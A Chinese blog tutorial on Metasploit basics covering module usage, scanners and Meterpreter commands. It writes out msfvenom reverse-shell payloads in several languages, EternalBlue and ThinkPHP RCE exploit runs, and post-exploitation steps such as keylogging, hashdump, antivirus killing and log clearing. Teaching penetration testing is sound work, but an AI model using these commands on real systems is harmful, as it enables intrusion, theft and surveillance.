Metasploit(MSF)基础超级详细版

2023-10-26

MSF基础学习看这一篇就够了

Metasploit

常见名词解释

POC : Proof of Concept ,概念证明,用来证明漏洞存在的一段代码,没有攻击性。
EXP : Exploit ,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性。
Payload :有效载荷,指 Exploit 执行成功之后,真正在系统进行执行的代码或者指令。
Shellcode :一段用于利用漏洞而执行的代码,为16进制的机器码,由于其建立正向/反向 shell 而得名。
Client :客户端。
Team Server :服务端, C2 服务器, Beacon Payload 的控制器。
Beacon :是 Cobalt Strike 运行在目标主机上的 payload , Beacon 在隐蔽信道上我们提供服务,用于长期控制受感染主机。
C2 : Command & Control Server 的简称,也就是命令与控制。

MSF简介

The Metasploit Framework 的简称。 MSF 高度模块化,即框架由多个 module 组成,是全球最受欢迎的渗透测试工具之一。
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode ,并持续保持更新。
metasploit 涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload进行一系列的渗透测试。

MSF框架结构

Kali-metasploit 框架目录路径

  1. data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的
    可编辑文件。
  2. documentation:包含框架的可用文档。
  3. lib:metasploit的库文件夹。
  4. plugins:用来存放metasploit的插件。
  5. scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
  6. tools:存放多种的命令行实用程序。
  7. modules:存储metasploit的模块文件。

kali Metasploit 更新

msfconsole -v # 查看版本
apt-get update
apt-get install metasploit-framework

MSF配置数据库

Metasploit支持使用数据库来保存渗透测试过程中获取的各种数据

开启 postgresql 数据库

 service postgresql start

初始化 MSF 数据库

 msfdb init

创建数据库用户: msf
创建数据库: msf
创建数据库: msf_test
创建配置文件: /usr/share/metasploit-framework/config/database.yml
创建保存MSF框架信息所需数据表

启动 msfconsole

msfconsole

在这里插入图片描述

Msfconsole 是 Metasploit 框架用户接口,我们能通过 Msfconsole 接口使用Metasploit 中所有模块。

Msfconsole 主要用于:

  1. 管理 Metasploit 数据库
  2. 管理会话
  3. 配置启动 Metasploit 模块

启动 msfconsole 时,MSF会使用创建的 msf 用户自动登录到 msf 数据库

查看数据库连接状态

db_status

在这里插入图片描述

如果没有连接可以手工连接:

db_connect 用户名:口令@服务器地址:端口/数据库名称

在这里插入图片描述

内网主机发现


> db_nmap:该命令是 Nmap 的一个封装,与 Nmap 使用方法一样,其执行结果会自动输入到数据库当中。
> -PA:TCP ACK PING扫描
> -PS:TCP SYNPING扫描
> -PR:ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其在内网的情况 下。因为防火墙不会禁止ARP请求。
>  hosts:列出当前工作区所有主机 servers:列出当前工作区所有主机服务 端口、服务、版本探测
> -T[0-5]:默认为T3,T4表示最大TCP扫描延迟为10ms
> -sS:TCP SYN扫描
> -sA:TCP ACK扫描
> -sT:TCP 扫描
> -A:打开操作系统探测和版本探测 漏洞探测
> --script=vuln:检查是否具有常见漏洞

db_nmap -Pn -sV 171.16.1.0/24

在这里插入图片描述
以将Nmap扫描结果导出为一个输出文件,并导入渗透测试数据库中,只要在Nmap命令中加入-oX参数

nmap -Pn -sV -oX dmz 171.16.1.106/24

扫描结束后,在当前目录下生成名为dmz的文件,可以在msf终端中导入数据库中

db_import /root/dmz

db_import命令还能识别 Acunetix,Amap,Appscan,Burp Session,Microsoft Baseline Security Analyzer,Nessus,NetSparker,NeXpose,OpenVAS Report,Rentina 等扫描器的结果。

MSF命令查询

常用命令

show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
[show ]options/advanced – 查看该模块可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数

在这里插入图片描述

数据库管理命令

msfdb init             # 启动并初始化数据库
msfdb reinit           # 删除并重新初始化数据库
msfdb delete           # 删除并停止使用数据库
msfdb start           # 启动数据库
msfdb stop             # 停止数据库
msfdb status           # 检查服务状态
msfdb run             # 启动数据库并运行msfconsole

核心命令

?             帮助菜单
banner       显示 Metasploit banner信息
cd           更改当前工作目录
color         切换颜色
connect       与主机通信
debug         显示对调试有用的信息
exit         退出控制台
features     显示可以选择加入的尚未发布的功能列表
get           获取特定变量的值
getg         获取全局变量的值
grep         筛选以一条命令的输出
help         帮助菜单
history       显示命令历史记录
load         加载框架插件
quit         退出控制台
repeat       重复一个命令列表
route         通过一个session会话路由流量
save         保存活动的数据存储
sessions     导出会话列表并显示会话信息
set           将一个特定环境的变量设置为一个值
setg         将一个全局变量设置为一个值
sleep         在指定的秒数内不执行任何操作
spool         将控制台输出写入文件以及屏幕
threads       查看和操作后台线程
tips         显示有用的提示清单
unload       卸载框架插件
unset         取消设置的一个或多个变量
unsetg       取消设置一个或多个全局变量
version       显示框架和控制台库版本号

模块命令

advanced     显示一个或多个模块的高级选项
back         从当前环境返回
clearm       清除模块堆栈
favorite     将模块添加到最喜欢的模块列表中
info         显示一个或多个模块的详细信息
listm         列表中的模块栈
loadpath     从路径中搜索并加载模块
options       显示一个或多个模块全局选项
popm         将最新的模块从堆栈中弹出并使其处于活动状态
previous     将之前加载的模块设置为当前模块
pushm         将活动模块或模块列表推送到模块堆栈
reload_all   重新加载所有模块
search       搜索模块名称和描述
show         显示给定类型的的模块或所有模块
use           通过名称或搜索词/索引选择使用模块

进程命令

handler       启动一个payload处理程序作为job
jobs         显示和管理 jobs
kill         杀掉一个job
rename_job   重命名一个job

资源脚本命令

makerc       将从开始输入的命令保存到文件中
resource     运行存储在文件中的命令

后台数据库命令

analyze           分析关于一个特定地址或地址范围的数据库信息
db_connect       连接到一个现有的数据服务
db_disconnect     与当前的数据服务断开连接
db_export         导出一个包含数据库内容的文件
db_import         导入扫描结果文件(文件类型将被自动检测)
db_nmap           执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块缓存(已废弃)
db_remove         删除已保存的数据服务条目
db_save           将当前的数据服务连接保存为默认,以便在启动时重新连接
db_status         显示当前的数据服务状态
hosts             列出数据库中的所有主机
loot             列出数据库中的所有战利品
notes             列出数据库中的所有笔记
services         列出数据库中的所有服务
vulns             列出数据库中的所有漏洞
workspace         在数据库工作空间之间切换

后端凭证命令

 creds         列出数据库中的所有凭证

开发者命令

edit         用首选编辑器编辑当前模块或文件
irb           在当前环境下打开一个交互式Ruby shell
log           如果可能的话,将framework.log分页显示到最后。
pry           在当前模块或框架上打开 Pry 调试器
reload_lib   从指定路径重新加载Ruby库文件
time         运行一个特定命令所需的时间

攻击载荷命令

check 检查一个目标是否易受攻击
generate 生成一个有效载荷
reload 从磁盘重新加载当前的模块
to_handler 用指定的有效载荷创建一个处理程序

MSF模块

模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。
MSF所有的漏洞测试都是基于模块。

auxiliary :辅助模块 辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
用于辅助操作的模块,例如网络扫描、枚举、漏洞扫描、登录暴力破解、模糊测试、 蜘蛛(遍历)、数据提取等;
辅助模块能在渗透之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻 击。 包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码口令破解、敏 感信息嗅探、fuzz、实施网络协议欺骗等模块

exploits :漏洞利用模块 包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。 命名规则:操作系统/各种应用协议分类
用于利用漏洞和传递有效负载的模块。有远程漏洞利用、本地漏洞利用、权限提升漏 洞利用、客户端漏洞利用、Web 应用程序漏洞利用和许多其他漏洞。
利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对目标系统访问控制权的代码组件。metasploit框架中渗透攻击模块可以按照所利用的安全漏洞所在的位置分为主动渗透攻击与被动渗透攻击两大类。

payloads: 攻击载荷 主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码、 用于在利用期间执行操作的模块,例如建立Meterpreter 会话、反向 shell、执行命 令、下载和执行程序等。攻击载荷是在渗透攻击成功后在目标系统运行的一段植入代码,通常是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透代码开发中,攻击载荷只是一段功能简单的ShellCode代码,以汇编语言编制并转换为目标系统CPU体系结构支持的机 器代码,在渗透攻击触发漏洞后,将程序执行流程劫持并跳转入这段机器代码中执 行,从而完成ShellCode中实现的单一功能。

post:后渗透阶段模块 漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
用于在拿到权限后进行后渗透利用操作的模块,例如凭证/哈希转储、本地权限提升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获和许多 其他操作。

encoders :编码器模块 主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统 用于有效负载编码和加密的模块,例如 base64、XOR、shikata_ga_nai 等。这有助 于混淆以规避防病毒或NIDS(网络入侵检测系统)、EDR(端点检测和响应)等防 御。

evasion :躲避模块 用来生成免杀payload 用于规避防御的模块,例如防病毒规避、AppLocker 绕过、软件限制策略 (SRP) 绕过等。

nops:空指令模块 空指令就是空操作,提高paylaod稳定性及维持大
用于生成无害、良性的“无操作”指令的模块,例如用于填充目的、在利用期间在内存 中滑动等。
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。
在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的 Shellcode执行失败,从而提高渗透攻击的可靠性。
metasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可 靠性的组件。

MSF辅助扫描模块 - auxiliary

MSF主机发现

模块路径

modules/auxiliary/scanner/discovery/

在这里插入图片描述
搜索模块
在这里插入图片描述arp_sweep:使用arp请求枚举本地局域网中的所有活跃主机
udp_sweep:通过发送UDP数据包探查指定主机是否活跃,并发现主机上udp服务。

模块使用
arp_sweep模块使用方法

use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 171.166.1.0/24
set THREADS 50
run

在这里插入图片描述

MSF服务扫描

服务扫描
确定开放端口后,对相应端口上所运行的服务信息进行挖掘
模块搜索
在 Metasploit 的 Scanner 辅助模块中,用于服务扫描和查点的工具常以
[service_name]_version 和 [service_name]_login 命名。

[service_name]_version :可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本
[service_name]_login :可对某种服务进行口令探测攻击

在MSF终端中可以输入:

 search login

可查看所有服务登录口令探测模块

在这里插入图片描述
在MSF终端中可以输入:

search version

查看所有可用的服务探测模块
在这里插入图片描述

Telnet服务模块

模块搜索

search scanner/telnet

在这里插入图片描述

telnet登录
auxiliary/scanner/telnet/telnet_login
扫描telnet版本
auxiliary/scanner/telnet/telnet_version

模块使用

use auxiliary/scanner/telnet/telnet_version
set RHOSTS xxx.xxx.xxx/24
set THREADS 100
run

在这里插入图片描述

SSH服务模块

模块搜索

search scanner/ssh

在这里插入图片描述
模块使用

ssh登录
auxiliary/scanner/ssh/ssh_login
ssh公共密钥认证登录
auxiliary/scanner/ssh/ssh_login_pubkey
扫描ssh版本测试
auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_version
set RHOSTS xx.xx.xx.x/24
set THREADS 100
run

使用options可以查看需要设置的参数,YES是需要配置的,不进行配置的话使用默认值。

Oracle数据库扫描

模块搜索

search scanner/orcale

在这里插入图片描述模块使用对应上边即可。 options查看需要设置的参数。
在这里插入图片描述

SMB服务扫描

模块搜索

search scanner/smb

在这里插入图片描述

SMB枚举
auxiliary/scanner/smb/smb_enumusers

返回DCERPC信息
auxiliary/scanner/smb/pipe_dcerpc_auditor

扫描SMB2协议
auxiliary/scanner/smb/smb2

扫描smb共享文件
auxiliary/scanner/smb/smb_enumshares

枚举系统上的用户
auxiliary/scanner/smb/smb_enumusers

SMB登录
auxiliary/scanner/smb/smb_login

扫描组的用户
auxiliary/scanner/smb/smb_lookupsid

扫描系统版本
auxiliary/scanner/smb/smb_version

MSSQL服务扫描

模块搜索

search scanner/mssql

在这里插入图片描述

MSSQL登陆工具
scanner/mssql/mssql_login

测试MSSQL的存在和信息
scanner/mssql/mssql_ping

FTP、SMTP、SNMP扫描

FTP模块搜索

search scanner/ftp
ftp版本扫描
scanner/ftp/ftp_version
ftp匿名登录扫描
scanner/ftp/anonymous

SMTP模块搜索

search scanner/smtp
smtp枚举
auxiliary/scanner/smtp/smtp_enum
扫描smtp版本
auxiliary/scanner/smtp/smtp_version

SNMP模块搜索

search scanner/snmp

MSF端口扫描

模块路径

modules/auxiliary/scanner/portscan/

在这里插入图片描述模块搜索

search scanner/portscan

在这里插入图片描述

auxiliary/scanner/protscan/ack
//通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测
auxiliary/scanner/protscan/ftpbounce
//通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很
好的防范此攻击,但在旧的系统上仍可以被利用
auxiliary/scanner/protscan/syn
//使用发送TCP SYN标志的方式探测开放端口
auxiliary/scanner/protscan/tcp
//通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
auxiliary/scanner/protscan/xmas
//一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤

一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉

模块使用

use auxiliary/scanner/protscan/syn
set RHOSTS IP地址
set THREADS 20
run

在这里插入图片描述

WMAP

Web应用辅助扫描,漏洞查找等模块基本都在 modules/auxiliary/ 下,
Metasploit内置了wmap WEB扫描器,要先创建一个数据库用来存放扫描数据,初始化wmap。

load wmap
help wmap

在这里插入图片描述使用wmap扫描

msf > wmap_sites -a http://202.112.50.74 //添加要扫描的网站
msf > wmap_sites -l
msf > wmap_targets -t http://202.112.20.74 //把添加的网站作为扫描目标
msf > wmap_run -t   //查看那些模块将在扫描中使用
msf > wmap_run -e   //开始扫描
msf > vulns     //查看漏洞信息

MSF攻击载荷模块

模块路径

/usr/share/metasploit-framework/modules/payloads

在这里插入图片描述

payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。

Payload类型

singles
独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload。

stagers
传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind(正向)型和reverse(反向)型,bind型是需要攻击机主动连接目标端口的;而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。

stages
传输体载荷,如shell,meterpreter等。在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。
meterpreter其实就是一个payload,它需要stagers和相应的stages配合运行,
meterpreter是运行在内存中的,通过注入dll文件实现,在目标机硬盘上不会留下文件痕迹,所以在被入侵时很难找到。

Stageless payload & Staged payload

payload分为staged(分阶段)和stageless(不分阶段):

 Stageless payload: <platform>/[arch]/<single>

Stageless Meterpreter 是一个二进制文件,包含Meterpreter的所有必需部分以及所有必需的扩展全部捆绑在 一起,将完整的payload都编译在木马中,体积庞大,可直接独立地植入目标系统进行执行

Staged payload: <platform>/[arch]/<stage>/<stager>

Staged Meterpreter 负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,MSF提供了传输器和传输体配对分阶段植入的技术,由渗透攻击模块首先植入代码,短小精悍且可靠的传输器载荷,然后在运行传输器载荷时进一步下载传输体载荷并执行,比如加载meterpreter、VNC桌面控制等复杂的大型攻击载荷。
stageless和staged就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执 行,还需通过其他工具和脚本进行管理。

在这里插入图片描述

Payload生成

MSF简介

Msfvenom — Metasploit 独立有效负载生成器,是用来生成后门的软件,在目标机上执行后门上线。

MSF生成Payload

msfvenom选项
Options:

-p:–payload,指定特定的 Payload,如果被设置为-,那么从标准输入流中读取。几乎支持全平台。 指定操作系统

-l:–list,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all

-n:–nopsled,指定 nop在 payload中的数量

-f:–format,指定 Payload的输出格式(–listformats:列出所有可用的输出格式) php exe

-e:–encoder,指定使用编码的encoder

X86/shikata_ga_nai最流行的编码,等级为excellent;

解码和编码过程都是随机生成的;cmd/powershell_base64也为excellent;

-a:–arch,指定目标系统架构 arm-安卓 x86 mips工业系统-路由器-交换机

–platform:指定目标系统平台 linus windows ios 安卓

-s:–space,设置未经编码的 Payload的最大长度(–encoder-space:编码后的 Payload的最大长度)

-b:–bad-chars,设置需要在 Payload中避免出现的字符,例如:’\0f’、’\x00’等

-i:–iterations,设置 Payload的编码次数

–smallest:尽可能生成最短的 Payload

-o:–out,保存 Payload到文件

-c:–add-code,指定一个附加的win32 shellcode文件

-x:–template,指定一个特定的可执行文件作为模板

-k:–keep,保护模板程序的功能,注入的payload作为一个新的进程运行

webpayload

php:
msfvenom-p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
asp:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx - o shell.aspx
jsp:
Msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
war:
msfvenom-p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

脚本payload

python:
msfvenom-p python/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
bash:
msfvenom-p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
perl:
msfvenom-p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
PowerShell:
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f psh > shell.ps1
powershell.exe -ExecutionPolicy Bypass -File shell.ps1

漏洞利用模块

模块路径

/usr/share/metasploit-framework/modules/exploits

在这里插入图片描述

Windows-MS17-010

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.3.23
check //检测目标是否存在漏洞
run //运行攻击模块

Linux - Thinkphp-RCE

search thinkphp
use exploit/unix/webapp/thinkphp_rce
set rhosts ip
set rport 9000
set srvport 38080
set lhost 124.71.45.28
set lport 4567
set ReverseListenerBindAddress 192.168.0.141
run

Meterpreter扩展模块

meterpreter 特点

Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要的。

进入meterpreter

background:将当前session挂起
sessions[ -l]:列出当前所有的session  
sessions[ -i] id:进入某个session

常用命令

background 放回后台
exit 关闭会话
help 帮助信息
sysinfo系统平台信息
screenshot 屏幕截取
shell 命令行shell (exit退出)  
getlwd 查看本地目录
lcd 切换本地目录
getwd 查看目录
ls 查看文件目录列表
cd 切换目录
rm 删除文件
download C:\\1.txt 1.txt 下载文件
upload /var/www/wce.exe wce.exe 上传 文件
search -d c: -f *.doc 搜索文件
execute -f cmd.exe -i 执行程序/命令
ps 查看进程
getuid 查看当前用户权限 run killav 关闭杀毒软件
run getgui-e 启用远程桌面

advanced

//经常遇到假session或者刚连接就断开,可以在接收到session后,继续监听端口,保持job存活

msf5 exploit(multi/handler) > set ExitOnSessionfalse
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0

msf5>exploit(multi/handler)>set SessionCommunicationTimeout0
//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关

msf5>exploit(multi/handler)>set SessionExpirationTimeout0
//后台持续监听,-j表示后台任务,-z表示成功后不主动发送stage,使用jobs命令查看和管理后台任务。jobs -K结束所有任务

msf5 exploit(multi/handler) > exploit -j -z
//快捷建立监听的方式:

Msf5>handler – H 192.168.114.130 -P 5449 windows/meterpreter/reverse_tcp

[] Payload handler running as background job 1.

[] Started reverse TCP handler on 192.168.24.146:5449
Set EnableStagrEncoding ture //对发送的atag流量进行加密,来对抗流量检测

meterpreter常用shell

reverse_tcp

基于TCP的反弹shell:

linux/x86/meterpreter/reverse_tcp

windows/meterpreter/reverse_tcp

reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定。

windows/meterpreter/reverse_https

bind_tcp

基于TCP的正向连接shell,因为在内网跨网段时无法连接到攻击者的机器,所以在内网中经常会使用,不需要设置LHOST。

linux/x86/meterpreter/bind_tcp

meterpreter命令详解

核心命令

?           – 帮助菜单
background – 将当前会话移动到后台
bg         - background的别名
bgkill     – 总之后台 meterpreter 脚本
bglist     – 列出后台运行中的脚本
bgrun       – 作为一个后台线程运行脚本
channel     – 显示活动频道
close       – 关闭通道
disable_unicode_encoding   - 禁用unicode字符串的编码
enable_unicode_encoding     - 启用unicode字符串的编码
exit       – 终止 meterpreter 会话
help       – 帮助菜单
info       - 显示有关Post模块的信息
irb         - 在当前会话上打开交互式 Ruby 外壳
load       - 加载一个或多个meterpreter扩展
machine_id - 获取连接到会话的计算机的 MSF ID
migrate     - 将服务迁移到另一个进程
pivot       - 管理pivot侦听器
pry         - 打开当前会话上的pry调试器
quit       - 终止 meterpreter 会话
read       - 从通道中读取数据
resource   - 运行存储在文件中的命令
run         - 执行一个meterpreter 脚本 或者 Post模块
secure     - 在会话中协商TLV分组加密
sessions   - 快速切换到另外一个session
set_timeouts - 设置当前会话的超时值
sleep       - 强制meterpreter停止活动,然后重新建立会话
transport   - 改变目前的运输机制.
use         - 加载 meterpreter 的扩展,'load'的旧别名
uuid       - 获取当前会话的UUID
write       – 将数据写入到一个通道

文件系统命令

cat         - 读取并输出到标准输出文件的内容
cd         - 更改目录对受害人
checksum   - 检索文件的校验和
cp         - 将源复制到目标
dir         - 列出文件(别名为 ls)
download   - 下载文件或目录
edit       - 编辑文件
getlwd     - 输出本地工作目录
getwd       - 输出工作目录
lcd         - 更改本地工作目录
lls         - 列出本地文件
lpwd       - 输出本地工作目录
ls         - 列出当前目录中的文件列表
mkdir       - 创建目录
mv         - 将源移动到目标
rm         - 删除指定的文件
rmdir       - 删除目录
search     - 在目标主机文件系统上查找搜索文件 例如:search -d 
c:\\ -f *.doc 在目标主机C盘下搜索doc文档
show_mount - 列出所有装载点/逻辑驱动器
upload     - 上传文件或目录

网络命令

arp         - 显示主机ARP缓存
getproxy   - 显示当前代理配置
ifconfig   - 显示网络接口的关键信息
ipconfig   - 显示网络接口的关键信息
netstat     - 显示网络连接
portfwd     - 将本地端口转发到远程服务
             例如:portfwd add -l 1122 -p 3389 -r 
192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口
resolve     - 解析目标上的一组主机名
route       - 查看或加入受害者路由表 route add 5.5.5.0 
255.255.255.0 1 用sessions 1会话加入指定网段

系统命令

clearev     - 清除事件日志
drop_token - 放弃任何活动模拟令牌。
execute     - 执行命令,在目标主机上运行某个程序 execute -f 
notepad.exe ,执行目标主机上的记事本程序,隐藏后台执行,加参数-H
getenv     - 获取一个或多个环境变量值
getpid     - 获取当前进程 ID (PID)
getprivs   - 尝试启用当前进程可用的所有权限
getsid     - 获取当前运行服务用户的SID
getuid     - 获取当前运行服务的用户
kill       - 终止进程
localtime   - 显示目标系统的本地日期和时间
pgrep       - 按名称显示进程
pkill       - 按名称终止进程
ps         - 列出正在运行的进程
reboot     - 重新启动受害人的计算机
reg         - 与受害人的注册表进行交互
rev2self   - 在受害者机器上调用 RevertToSelf()
shell       - 在远程计算机上打开一个shell
shutdown   - 关闭远程计算机
steal_token - 试图窃取指定的 (PID) 进程的令牌
suspend     - 挂起或恢复进程列表
sysinfo     - 获取关于远程系统的信息,如操作系统

用户界面命令

enumdesktops   - 列出所有可访问的desktops和Windows
getdesktop     - 获取当前的 meterpreter 桌面
idletime       - 检查长时间以来,受害者系统空闲进程
keyboard_send   - 发送一个键盘记录器
keyevent       - 发送key事件
keyscan_dump   - 转储键盘记录器缓冲区内容
keyscan_start   - 启动键盘记录器
keyscan_stop   - 停止键盘记录器
mouse           - 发送鼠标事件
screenshare     - 实时监视远程用户的桌面
screenshot     - 抓取交互式桌面的屏幕截图
setdesktop     - 更改 meterpreter 当前桌面
uictl           - 启用用户界面组件的一些控件

摄像头命令

record_mic     - 从默认麦克风记录音频X秒
webcam_chat     - 启动视频聊天
webcam_list     - 列出摄像头
webcam_snap     - 从指定的网络摄像头获取snapshot
webcam_stream   - 从指定的网络摄像头播放视频流

音频输出命令

play   - 在目标系统上播放波形音频文件(.wav)

提权命令

getsystem   - 获得系统管理员权限

密码转储命令

hashdump - 抓取哈希密码 (SAM) 文件中的值
hashdump 可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。

Timetomp

timestomp   - 操作修改文件的MACE属性
Modified:修改时间
Accessed:访问时间
Created:创建时间
Entry Modified: 条目修改时间
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Metasploit(MSF)基础超级详细版 的相关文章

  • 软件开发和网络安全哪个更好找工作?

    为什么今年应届毕业生找工作这么难 有时间去看看张雪峰今年为什么这么火就明白了 这么多年人才供给和需求错配的问题 在经济下行的今年 集中爆发 供给端 大学生越来越多 需求端 低端工作大家不愿去 高端岗位又太少 很多基础行业 比如机械 土木 所
  • 【网络安全】Web缓存欺骗攻击原理及攻防实战

    Web缓存欺骗是一种新的攻击方式 危害范围可扩大至各种技术及框架 本文仅分享Web缓存攻击知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 文章目录 前言 攻击前提及原理 实例一 ChatGPT帐户接管漏洞 实例二 P
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • 白帽子如何快速挖到人生的第一个漏洞 | 购物站点挖掘商城漏洞

    本文针对人群 很多朋友们接触安全都是通过书籍 网上流传的PDF 亦或是通过论坛里的文章 但可能经过了这样一段时间的学习 了解了一些常见漏洞的原理之后 对于漏洞挖掘还不是很清楚 甚至不明白如何下手 可能你通过 sql labs 初步掌握了sq
  • 2024年金三银四网络安全考试试题

    2023年金三银四网络安全考试试题 1 关于数据使用说法错误的是 A 在知识分享 案例中如涉及客户网络数据 应取敏感化 不得直接使用 B 在公开场合 公共媒体等谈论 传播或发布客户网络中的数据 需获得客户书面授权或取敏感化 公开渠道获得的除
  • Android SDK开发艺术探索(五)安全与校验

    一 前言 本篇是Android SDK开发艺术探索系列的第五篇文章 介绍了一些SDK开发中安全方面的知识 包括资源完整性 存储安全 权限校验 传输安全 代码混淆等知识 通过基础的安全配置为SDK保驾护航 探索SDK开发在安全方面的最佳实践
  • 200道网络安全常见面试题合集(附答案解析+配套资料)

    有不少小伙伴面临跳槽或者找工作 本文总结了常见的安全岗位面试题 方便各位复习 祝各位事业顺利 财运亨通 在网络安全的道路上越走越远 所有的资料都整理成了PDF 面试题和答案将会持续更新 因为无论如何也不可能覆盖所有的面试题 php爆绝对路径
  • 【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

    部分网站开设编码练习 若安全配置不当 则代码执行将升级为操作系统命令注入 导致敏感信息泄露 本文仅分享命令执行相关知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 未经许可 不可转载 文章目录 信息泄露 扩大危害 信息
  • 【网安神器篇】——WPScan漏洞扫描工具

    目录 一 Wordpress简介 二 WPScan介绍 三 安装 四 获取token 1 注册账号 2 拿到token 五 使用教程 1 常用选项 2 组合命令 1 模糊扫描 2 指定扫描用户 3 插件漏洞扫描 4 主题漏洞扫描 5 Tim
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 渗透测试常用工具汇总_渗透测试实战

    1 Wireshark Wireshark 前称Ethereal 是一个网络分包分析软件 是世界上使用最多的网络协议分析器 Wireshark 兼容所有主要的操作系统 如 Windows Linux macOS 和 Solaris kali
  • 你的服务器还安全吗?用户数据是否面临泄露风险?

    一系列严重的网络安全事件引起了广泛关注 多家知名公司的服务器遭到黑客挟持 用户的个人数据和敏感信息面临泄露的风险 这些事件揭示了网络安全的脆弱性和黑客攻击的威胁性 提醒着企业和个人加强对网络安全的重视 一 入侵案例 1 1 蔚来数据泄露 1
  • 全网最全(黑客)网络安全自学路线!熬夜两周整理(巨详细)

